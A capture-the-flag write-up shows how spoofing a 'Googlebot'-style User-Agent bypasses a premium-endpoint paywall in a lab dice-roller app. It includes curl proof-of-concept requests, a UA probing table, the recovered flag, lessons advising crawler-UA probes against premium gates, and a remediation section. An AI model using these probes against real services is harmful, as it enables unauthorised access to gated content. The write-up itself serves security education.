DiceForge: User-Agent Paywall Bypass
Overview
- Platform: BugForge
- Vulnerability: Broken access control on
POST /api/quantum. The premium roller endpoint is gated on a substring match against the request’sUser-Agent, so any UA containingbot(case insensitive) is admitted as a paying subscriber. - Key Technique: Single header swap.
User-Agent: Googlebot/2.1 ...flips the response from 403 to 200 with the flag. - Result:
bug{lOKpgn2o2DNiFgcIQrpi6zbZTYrZgwde}returned as an extra top-levelflagkey on the otherwise normal dice roll response.
Objective
Recover the BugForge flag from the DiceForge lab. The application is a public dice roller with a “Pro subscribers only” feature (/quantum) that the operator has no subscription for.
Initial Access
# Target Application
URL: https://lab-1777946148124-yn51qd.labs-app.bugforge.io
# Auth details
None. The app is fully anonymous: no login, no registration, no session
cookies, no Authorization header. The only auth-shaped element is the
React component on /quantum that reads {"access": true|false} from
GET /api/subscriber-content.
Key Findings
F1 (Critical) — Broken access control on POST /api/quantum, gated by spoofable User-Agent
The premium roller endpoint enforces no real access control. The server admits any request whose User-Agent header contains the substring bot (case insensitive, e.g. Googlebot, bingbot, Slackbot, Twitterbot) and responds with the standard dice payload plus an extra top-level flag key. Vanilla browser UAs and other crawler UAs without bot in the string (facebookexternalhit/1.1) hit a 403 paywall.
The pattern is the textbook SEO-crawler exemption anti-pattern: the application appears to expose paywalled content to search-engine bots for indexing and trusts the User-Agent header to identify them. User-Agent is plaintext and arbitrarily settable by any client, so it cannot serve as an access control signal.
- CVSS v3.1: 8.2 High (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) - CWE-284: Improper Access Control
- CWE-807: Reliance on Untrusted Inputs in a Security Decision
Attack Chain Visualization
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐
│ React bundle review │ │ Probe /api/quantum │ │ Probe /api/quantum │
│ surfaces 3 API routes; │ -> │ with vanilla Firefox │ -> │ with Googlebot UA │
│ only client gate on │ │ UA -> 403 paywall │ │ -> 200 + extra flag │
│ /quantum │ │ (server gate exists) │ │ key in response body │
└────────────────────────┘ └────────────────────────┘ └────────────────────────┘
Exploitation Path
Step 1: Bundle review
The application is a React SPA. The single bundle static/js/main.976e020e.js (446 KB) was beautified to roughly 23.7K lines for review. Three API endpoints surfaced:
| Endpoint | Purpose |
|---|---|
POST /api/roll |
Public dice roller |
GET /api/subscriber-content |
Returns {"access": true\|false} |
POST /api/quantum |
Premium dice roller |
The interesting find is the gate logic for /quantum (around line 22838 of the beautified bundle):
Kc.get("/api/subscriber-content").then((e) => {
!0 === e.data.access ? t(!0) : (t(!1), o(!0))
})
The React component reads access from the subscriber-content response, sets a state flag, and renders either the roller UI or the paywall. Crucially, the dice submit handler then unconditionally calls:
Kc.post("/api/quantum", { dice: e })
There is no second check before the POST. Anyone who flips the React state, or just calls the API directly, hits /api/quantum. The lab hangs entirely on whether the server enforces the gate.
Step 2: Confirm the server enforces something
A direct POST with a vanilla Firefox UA confirms the server is not blindly trusting the React state:
curl -ks -X POST 'https://lab-1777946148124-yn51qd.labs-app.bugforge.io/api/quantum' \
-H 'Content-Type: application/json' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
-d '{"dice":[{"type":"d100","count":1}]}'
Response:
{"error":"Quantum Roll is a premium feature. Please upgrade your subscription."}
- So the gate is real; it just is not the one the React component seems to imply (cookie, JWT, session). Whatever the gate is keyed on, it is keyed on something the request carries. The request carries: method, path, body, Content-Type, Accept, User-Agent, Host. Of these, the User-Agent is the cheapest to flip.
Step 3: User-Agent batch
A batch of six User-Agents, three “browser-prefixed bot” strings, two “bare bot” strings, and one boundary probe (facebookexternalhit, a real crawler whose UA does not contain bot):
| # | User-Agent | Status |
|---|---|---|
| 1 | Googlebot/2.1 (+http://www.google.com/bot.html) |
200 + flag |
| 2 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
200 + flag |
| 3 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) |
200 + flag |
| 4 | Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots) |
200 + flag |
| 5 | Twitterbot/1.0 |
200 + flag |
| 6 | facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) |
403 |
Five hits, one miss. The miss is the diagnostic. facebookexternalhit is a real crawler with no bot substring in its UA, and it gets the 403. That rules out a named-bot allowlist (which would have admitted Facebook’s crawler) and is consistent with a substring or regex match like /bot/i.
The PoC request:
curl -ks -X POST 'https://lab-1777946148124-yn51qd.labs-app.bugforge.io/api/quantum' \
-H 'Content-Type: application/json' \
-H 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)' \
-d '{"dice":[{"type":"d100","count":1}]}'
Response:
{
"notation": "1d100",
"results": [{"type":"d100","count":1,"rolls":[42],"subtotal":42}],
"grandTotal": 42,
"timestamp": "2026-05-05T...",
"flag": "bug{lOKpgn2o2DNiFgcIQrpi6zbZTYrZgwde}"
}
The flag rides as an extra top-level flag key on the otherwise normal dice payload. This is the BugForge “extra-key tripwire” delivery shape.
Flag / Objective Achieved
bug{lOKpgn2o2DNiFgcIQrpi6zbZTYrZgwde}
Single batch, six requests, one minute from “gate is real” to flag in hand.
Key Learnings
- Run a User-Agent crawler-batch against any premium endpoint that your session cannot reach. Whenever the React UI gates a feature behind a paywall and the protected endpoint is never called from your own session, probe it directly with a clutch of crawler User-Agents (Googlebot, bingbot, Slackbot, Twitterbot) before reaching for anything fancier. The SEO-bot-exemption anti-pattern is one of the cheapest first probes against any premium feature gate, and it costs five or six requests to rule in or out.
- Probe the boundary to learn what kind of match is in play. If Googlebot works, follow with a real crawler whose UA does not contain
bot(e.g.facebookexternalhit/1.1). If the boundary probe also gets in, the server uses a named-bot allowlist (rare). If only thebot-substring UAs get in, the server is doing a regex or substring match, and you can weaponise any future UA you want by just slippingbotinto it.
- Probe the boundary to learn what kind of match is in play. If Googlebot works, follow with a real crawler whose UA does not contain
Failed Approaches
| Approach | Result | Why It Failed |
|———-|——–|—————|
| Direct POST /api/quantum with vanilla Firefox UA | 403 paywall | Confirms the server enforces a gate; rules out the “no server check at all” hypothesis. Useful as the baseline. |
| H2: probe /api/subscriber-content for header-flippable response | Not exercised | H1 succeeded on the first batch; the engagement objective was met before this was needed. |
| H4: dice payload abuse on type / count (SQL, command, SSTI markers) | Not exercised | Same as H2. The premium gate was the obvious vector and it broke immediately. |
| H5: notation field as a backdoor input | Not exercised | Same as H2. |
| H6: hidden /api/* routes | Not exercised | Same as H2. |
| H7: prototype pollution on the dice array | Not exercised | Same as H2. |
Tools Used
| Tool | Purpose |
|——|———|
| curl | All probes; UA swap is one -H flag. |
| js-beautify | Decoded the production React bundle to readable source for the gate location. |
| Browser DevTools | Watched the /api/subscriber-content and paywall render flow in the live SPA. |
Remediation
The endpoint must be tied to a real authenticated identity, not to a request header that any client controls.
- Issue every user a session token (cookie or JWT) at sign-up, and require it on
POST /api/quantum. - Look up the user’s subscription status from the server’s own database on each request, and return 403 if the user is not on the premium tier.
- Treat
User-Agentas untrusted client input. It can be used for analytics or feature detection, never for access control.
If the SEO use case is real and the application genuinely needs to expose paywalled content to search engine crawlers (which is usually a cloaking violation in Google’s webmaster guidelines), the only defensible approach is:
- Maintain a server-controlled allowlist of known crawler IP ranges (Google publishes its IPs).
- On request, check the source IP is in that allowlist AND verify it via reverse DNS lookup to a
*.googlebot.com/*.search.msn.comhostname. - Never trust the
User-Agentstring alone.
Concrete patch sketch (Express):
Before:
app.post("/api/quantum", (req, res) => {
const ua = req.headers["user-agent"] || "";
if (!/bot/i.test(ua) && !req.user?.isPremium) {
return res.status(403).json({ error: "Quantum Roll is a premium feature..." });
}
// ...roll dice, attach flag for crawler tier...
});
After:
app.post("/api/quantum", requireAuth, (req, res) => {
if (!req.user.isPremium) {
return res.status(403).json({ error: "Quantum Roll is a premium feature..." });
}
// ...roll dice...
});
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control. The premium endpoint trusts a client header to make an access decision. This is the textbook example: the access rule lives in client-controlled state, not in a server-verified identity.
- A04:2021 — Insecure Design. Treating a UA substring as an authorization signal is a design flaw, not just an implementation bug. A well-designed system cannot be compromised by any UA value.
References
- OWASP A01:2021 — Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-284 — Improper Access Control: https://cwe.mitre.org/data/definitions/284.html
- CWE-807 — Reliance on Untrusted Inputs in a Security Decision: https://cwe.mitre.org/data/definitions/807.html
- Google’s verified-Googlebot guidance (reverse DNS validation of crawler IPs): https://developers.google.com/search/docs/crawling-indexing/verifying-googlebot